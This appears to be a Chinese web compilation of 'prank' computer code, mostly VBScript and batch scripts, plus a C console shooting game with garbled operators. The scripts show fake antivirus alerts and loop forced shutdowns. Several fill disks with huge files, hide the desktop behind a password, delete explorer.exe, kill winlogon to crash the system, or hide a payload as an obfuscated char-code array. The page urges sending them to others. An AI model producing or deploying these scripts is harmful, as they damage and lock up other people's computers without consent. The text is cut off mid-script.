電腦惡搞代碼大全圖教(電腦指令代碼惡搞大全)
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本文目錄一覽:
- 1、有沒有一些惡搞別人的vbs代碼
- 2、求一段電腦整蠱代碼
- 3、求一些惡搞程序的C語言源代碼
- 4、惡搞電腦病毒代碼有哪些?
- 5、電腦裝逼代碼
- 6、求大量VBS整人代碼.
有沒有一些惡搞別人的vbs代碼
自編vbs僅供娛樂?。?!
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革廠倒閉了》
msgbox "您的電腦已被病毒入侵!",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒:因?yàn)檫@個(gè)游戲涉及非法內(nèi)容,所以您的電腦將在60秒后自動(dòng)關(guān)機(jī)"" ",0,true
qstart.run "cmd.exe /c echo 滾|clip"
A = INPUTBOX ("說!360是不是上帝?"+chr(13)+chr(13)+chr(13)+"(“滾”已復(fù)制到剪貼板,可以粘貼。)","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的,現(xiàn)在您可以下載360安全衛(wèi)士來殺毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么這么懶呢?",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是時(shí)候鍛煉鍛煉了",vbokonly+vbInformation,"360 Defender"
msgbox "游戲規(guī)則:在開始后,請及時(shí)點(diǎn)擊 “確定” 鍵來取消關(guān)機(jī)。"+chr(13)+"現(xiàn)在您可以把這個(gè)窗口x掉,或者點(diǎn)擊確定,來開始游戲。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消關(guān)機(jī)",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鴻祎表示無語。"+chr(13)+chr(13)+chr(13)+"這樣是不可能解決問題的",vbokonly,"360 Defender"
msgbox "自己探尋吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滾" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滾" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在說廢話,但是您一定不想浪費(fèi)時(shí)間說廢話,所以該電腦對您有害。浪費(fèi)別人時(shí)間就是謀財(cái)害命 ( 魯迅 ) 。360積極維護(hù)您的財(cái)產(chǎn)權(quán)和生命健康權(quán),決定不砸掉您的電腦。"+chr(13)+chr(13)+"那現(xiàn)在先把C盤給抹咯!",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盤的過程中,您的電腦將會(huì)重啟數(shù)次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
求一段電腦整蠱代碼
set ws = wscript.createobject("wscript.shell")
if msgbox("純屬娛樂!just for fun!",4132,"絕對無毒無害!你準(zhǔn)備好了嗎?")=vbyes then
msgbox"OK!"
else
ws.popup"那也沒辦法!接招吧!",3
ws.popup"等會(huì)的解除密碼在網(wǎng)盤里,自己下載,祝你愉快!",3
end if
ws.run" "
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("請輸入密碼解除","注意,重啟電腦是沒有用的!")
if a="我真笨啊" then
msgbox"密碼正確!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下載,密碼錯(cuò)誤!請重試 !"
end if
loop
求一些惡搞程序的C語言源代碼
一個(gè)打飛機(jī)的游戲,DEVc++編譯通過:
#include stdio.h
#include conio.h
#include stdlib.h
#include windows.h
#include time.h
#define zlx 10 ? //增量坐標(biāo)(x)讓游戲框不靠邊
#define zly 3 ?? //增量坐標(biāo)(y)讓游戲框不靠邊
#define W 26 ? //游戲框的寬度
#define H 24 ? //游戲框的高度
int jiem[22][22]={0}, wj=10; ? //界面數(shù)組, 我機(jī)位置(初值為10)
int speed=4,density=30, score=0,death=0;? //敵機(jī)速度, 敵機(jī)密度, 玩家成績,死亡次數(shù)
int m=0,n=0; ? // m,n是控制敵機(jī)的變量
void gtxy (int x, int y) ? //控制光標(biāo)位置的函數(shù)
{ COORD zb; ? //zb代指坐標(biāo)
zb.X = x;? zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
void?Color(int?a) ? //設(shè)定顏色的函數(shù)(a應(yīng)為1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0) ? //隱藏光標(biāo)的函數(shù)
{ CONSOLE_CURSOR_INFO ?gb={x,y};? ?//gb代指光標(biāo), y設(shè)為0即隱藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), gb);
?}
void csh( )? //初始化函數(shù)
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔");? gtxy(zlx+W-2,zly); printf("╗");? //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下邊兩框角
for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly);? printf("═"); }? ????//打印上橫框
for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); } ?//打印下橫框
for(i=1;iH-1;i++) { gtxy(zlx,zly+i); ?printf("║"); }? ?????//打印左豎框
for(i=1;iH-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); }? //打印右豎框
Color(14); gtxy(19,2);? printf("殲滅敵機(jī)");? Color(10);
gtxy(37,5); printf("設(shè)置:Esc ");
gtxy(37,7); printf("發(fā)射:↑ ");
gtxy(37,9); printf("控制:← → ");
gtxy(37,11);printf("得分:%d",score);
gtxy(37,13); printf("死亡:%d",death);
yinc(1,0);
}
void qcjm( ) ?//清除界面函數(shù)
{ int i,j;
for(i=0;iH-2;i++)
for(j=0;jW-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}
}
void feiji( ) ?//飛機(jī)移動(dòng)函數(shù)
{ int i,j;
for(i=21;i=0;i--)? //從底行往上是為了避免敵機(jī)直接沖出數(shù)組
? for(j=0;j22;j++)
? ? ?{if(i==21jiem[i][j]==3)?jiem[i][j]=0;? //底行賦值0 以免越界
? ? ? ?if(jiem[i][j]==3)?jiem[i][j]=0, jiem[i+1][j]=3;
? ? ?}
if(jiem[20][wj]==3jiem[21][wj]==1) death++;
}
void zidan( ) ?//子彈移動(dòng)函數(shù)
{ int i,j;
for(i=0;i22;i++)
??for(j=0;j22;j++)
? ? ?{ if(i==0jiem[i][j]==2) jiem[i][j]=0;
? ? ?? if(jiem[i][j]==2) {?if(jiem[i-1][j]==3) score+=100,printf("\7");
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? jiem[i][j]=0,jiem[i-1][j]=2; }
? ? ?}
}
void print( ?) ?//輸出界面函數(shù)
{int i,j;
qcjm( );
for(i=0;i22;i++)
for(j=0;j22;j++)
{ gtxy(12+j,4+i);
?? if(jiem[i][j]==3) {Color(13);printf("□");}
?? if(jiem[i][j]==2) {Color(10);printf(".");}
?? if(jiem[i][j]==1) {Color(10);printf("■");}
}
gtxy(37,11); Color(10); printf("得分:%d",score);
gtxy(37,13); printf("死亡:%d",death);
}
void setting( )? //游戲設(shè)置函數(shù)
{ qcjm( );
gtxy(12,4);printf("選擇敵機(jī)速度:");
gtxy(12,5);printf("? 1.快 2.中 3.慢");
switch(getche( ))
? ? {case '1': speed=2; break;
? ? ?case '2': speed=4; break;
? ? ?case '3': speed=5; break;
? ? ?default: gtxy(12,6);printf("? 錯(cuò)誤!默認(rèn)值");
? ?}
gtxy(12,7);printf("選擇敵機(jī)密度:");
gtxy(12,8);printf("? 1.大 2.中 3.小");
switch(getche( ))
? ? ?{case '1': density=20; break;
? ? ? case '2': density=30;?break;
? ? ? case '3': density=40; break;
? ? ? default: gtxy(12,9); printf("? 錯(cuò)誤!默認(rèn)值");
? ???}
for(int i=0;i22;i++)
?for(int j=0;j22;j++) jiem[i][j]=0;
jiem[21][wj=10]=1;? jiem[0][5]=3;
gtxy(12,10); printf("? 按任意鍵保存...");
getch( );
qcjm( );
}
void run( ) ?//游戲運(yùn)行函數(shù)
{ jiem[21][wj]=1;? //值為1代表我機(jī)(2則為子彈)
jiem[0][5]=3;? ?//值為3代表敵機(jī)
SetConsoleTitle("殲滅敵機(jī)"); ?//設(shè)置窗口標(biāo)題
while(1)
{?if (kbhit( )) ? //如有鍵按下,控制我機(jī)左右移動(dòng)、發(fā)射或進(jìn)行設(shè)定
? ? { int key;
? ? ? if((key=getch( ))==224) key=getch( );
? ?? switch(key)
? ? ?? {case 75: if(wj0) jiem[21][wj]=0,jiem[21][--wj]=1; break;
? ? ? ? case 77: if(wj20)?jiem[21][wj]=0,jiem[21][++wj]=1;?break;
? ? ? ? case 72: jiem[20][wj]=2; break;
? ? ?? case 27: setting( );
? ? ??}
?? }
?? if(++n%density==0) ? //控制產(chǎn)生敵機(jī)的速度
? ? ?{ n=0;srand((unsigned)time(NULL));
? ? ? ?jiem[0][rand( )%20+1]=3;
? ? ?}
? ??if(++m%speed==0) { feiji( ); m=0; } ?//控制敵機(jī)移動(dòng)速度(相對子彈而言)
? ? zidan( ); ? //子彈移動(dòng)
? ? print( ); ? //輸出界面
? ? Sleep(120); ? //延時(shí)120毫秒
? }
}
int main( )
{ csh( );
? run( );
? return 0;
}
惡搞電腦病毒代碼有哪些?
有時(shí)候想和朋友們玩玩,搞點(diǎn)惡搞電腦病毒給他們,要怎么辦呢?下面由我給你做出詳細(xì)的惡搞電腦病毒代碼介紹!希望對你有幫助!
惡搞電腦病毒代碼介紹一:
首先在電腦上新建一個(gè)TXT文檔
然后把下面這段代碼輸入進(jìn)去
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬,不喊就馬上讓你關(guān)機(jī),不信,試試···"" ", 0, True
Dim a
Do While (a "我是豬")
a = InputBox("快說我是豬,不叫就不關(guān)機(jī),快點(diǎn),說 ", "說不說", "不說", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關(guān)了"
WSHshella.run "cmd.exe /c shutdown -a"
然后保存
然后把這個(gè)文本文檔的后綴改為vbs 也就是說新建的文本文檔本來是.TXT的后綴,
你要修改為.VBS的后綴
惡搞電腦病毒代碼介紹二:
新建一個(gè)文本文檔,然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入圖片,如果對方有郵箱,就發(fā)給他
他一打開就會(huì)出現(xiàn)你插入的圖片,然后出現(xiàn) 藍(lán)屏 (效果7—10分鐘)(注:做好病毒后不要打開,否則會(huì)出現(xiàn)以上說的情況)
惡搞電腦病毒代碼介紹三:
新建一個(gè)文本文檔(.txt),要復(fù)制以下代碼:
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告:在病毒執(zhí)行期間禁止關(guān)閉電源,
echo 否則你就和你心愛的電腦說
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒,在這個(gè)墮落的世界上蘇醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的計(jì)算機(jī)上帶有魔鬼病毒,今天是它的發(fā)作日期。病毒已經(jīng)破壞了您的系統(tǒng),您的計(jì)算機(jī)將在10秒鐘后重啟。"
::結(jié)束
再另存為:名字.bat 你要記住"名字"后面要加".bat"
就可以了,沒有任何破壞性,嚇嚇人。
你可以試試看看效果。
電腦裝逼代碼
打開電腦在桌面點(diǎn)擊:鼠標(biāo)右鍵新建文本文檔如圖:
然后打開TXT文檔 如圖:
然后輸入代碼:tree d:
然后點(diǎn)擊:文件保存保存后返回即可 如圖:
返回后鼠標(biāo)右鍵點(diǎn)擊txt文檔找到重命名 如圖:
然后點(diǎn)擊重命名把重命名修改成學(xué)校機(jī)房裝逼代碼.bat 如圖:
修改后打開文檔,就可以了
求大量VBS整人代碼.
第一個(gè) do msgbox "hi" loop 第二個(gè) Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三個(gè) if MsgBox("對不起,您灌水太多需要重新啟動(dòng)計(jì)算機(jī)。"chr(10)"確定要重啟嗎?",vbOKCancel+vbInformation,"重新啟動(dòng)計(jì)算機(jī)")=vbCancel then msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當(dāng)了?。? Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四個(gè) '這個(gè)很強(qiáng)悍的vbs,藍(lán)屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五個(gè) if MsgBox("你是豬頭嗎?",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "還不承認(rèn)!! 作為懲罰,藍(lán)屏一下,你馬上掛了#¥!@#¥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六個(gè) Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七個(gè) set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八個(gè) Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好,我就是改變社會(huì)風(fēng)氣,風(fēng)魔萬千少女,刺激電影市道,提高年輕人內(nèi)涵,",10,"閃亮登場",64 ws.popup"玉樹臨風(fēng),風(fēng)度翩翩的……“咕?!緡!?,不好意思,我內(nèi)急先閃了,再見!",15,"farewell",64 wscript.sleep 100000 ws.popup"發(fā)現(xiàn)重要windows更新未安裝,系統(tǒng)將自動(dòng)下載更新并安裝",10 ws.popup"正在下載windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下載完畢,正在安裝更新……",12 wscript.sleep 3000 msgbox"系統(tǒng)檢測到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ,并在強(qiáng)行嵌入你的電腦",4132,"是否對其進(jìn)行掃描?" msgbox"軟件名:comcontroler.exe "vbcrlf""vbcrlf" 大?。?.21MB "vbcrlf""vbcrlf" 發(fā)行者:幻想丶永恒(403746401)"vbcrlf""vbcrlf" 安全狀況:有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安裝" msgbox"阻止失敗,請檢查防火墻是否開啟" wscript.sleep 15000 ws.popup"windows更新安裝成功!",vbinfmation,20 msgbox"您的電腦可能已被入侵,請盡快修改您的QQ密碼及其他機(jī)密資料,以免QQ被盜或丟失資料",vbinformation ws.popup"哈哈,我已經(jīng)控制了你的電腦!",12,"很高興見到你",64 ws.popup"不信?我用你的電腦打開我的QQ空間給你看看",10 ws.run" " msgbox"警告:為了您的電腦安全,請盡快安裝使用殺毒軟件對系統(tǒng)進(jìn)行全面殺毒",vbinformation ws.popup"我再打開中國神泣官方網(wǎng)站",10 ws.run" " ws.popup"現(xiàn)在相信了吧?我再打開你的記事本給你寫封英語信",20 ws.popup"記事本會(huì)被打開并最大化,這時(shí)你不要?jiǎng)?,千萬別把目標(biāo)轉(zhuǎn)移到其他窗口,耐心看我把信寫完。否則引起系統(tǒng)混亂我可不負(fù)責(zé)!" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九個(gè) for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30 ws.popup"下機(jī)可不能忘了關(guān)QQ 我吧QQ關(guān)了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你還要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("請輸入解除關(guān)機(jī)密碼") if a="403746401" then ws.run"shutdown -a" msgbox"密碼驗(yàn)證成功,enjoy the best!" exit do else msgbox"密碼驗(yàn)證失敗,請輸入解除關(guān)機(jī)密碼:403746401 ",vbretrycancel end if loop ws.popup"哈哈 被嚇到了吧 好玩吧?你以為真的是病毒?呵呵O(∩_∩)O~,我還沒那么打本事能做出病毒來!",57 ws.popup"(\(^o^)/~ 好啦,跟你開了個(gè)小小玩笑。你也可以把這個(gè)文件發(fā)給其他人,耍耍別人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU溫度過高,系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤!,請結(jié)束所有應(yīng)用程序讓CPU降溫!",16+4096,"系統(tǒng)提示:" wscript.sleep 1000*45 loop 第十個(gè) set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一個(gè) dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二個(gè) dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("請?jiān)趯υ捒蛑刑顚懩阏鎸?shí)的姓名!"vbcrlf""vbcrlf"稍后將會(huì)給你意外的驚喜!! "vbcrlf""vbcrlf"不信你可以試試看?。?!"vbcrlf""vbcrlf"最好是中文名···","芮洲提示:","請?jiān)诖溯斎肽愕拿?) If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫:"a" ",vbYesNo + vbExclamation,"芮洲提示:") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("請?jiān)趯υ捒蛑刑顚懩阏鎸?shí)的姓名!"vbcrlf""vbcrlf"稍后將會(huì)給你意外的驚喜!! "vbcrlf""vbcrlf"不信你可以試試看!?。?vbcrlf""vbcrlf"最好是中文名···","芮洲提示:","請?jiān)诖溯斎肽愕拿?) If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好!"vbcrlf""vbcrlf"請?zhí)顚懸幌履愕膼酆谩?只需填一個(gè)哦!)","芮洲提示:","請?jiān)诖溯斎肽愕膼酆?) If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("請?jiān)谙旅鎸υ捒蛑休斎肽愕某錾鶾年 月日]電腦將自動(dòng)算出到目前為止你已經(jīng)在地球上存活了多少時(shí)間!"vbcrlf""vbcrlf"下面以我為列 不同可以修改"vbcrlf""Chr(10)"格式為:1987-06-02","芮洲提示:","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小時(shí) 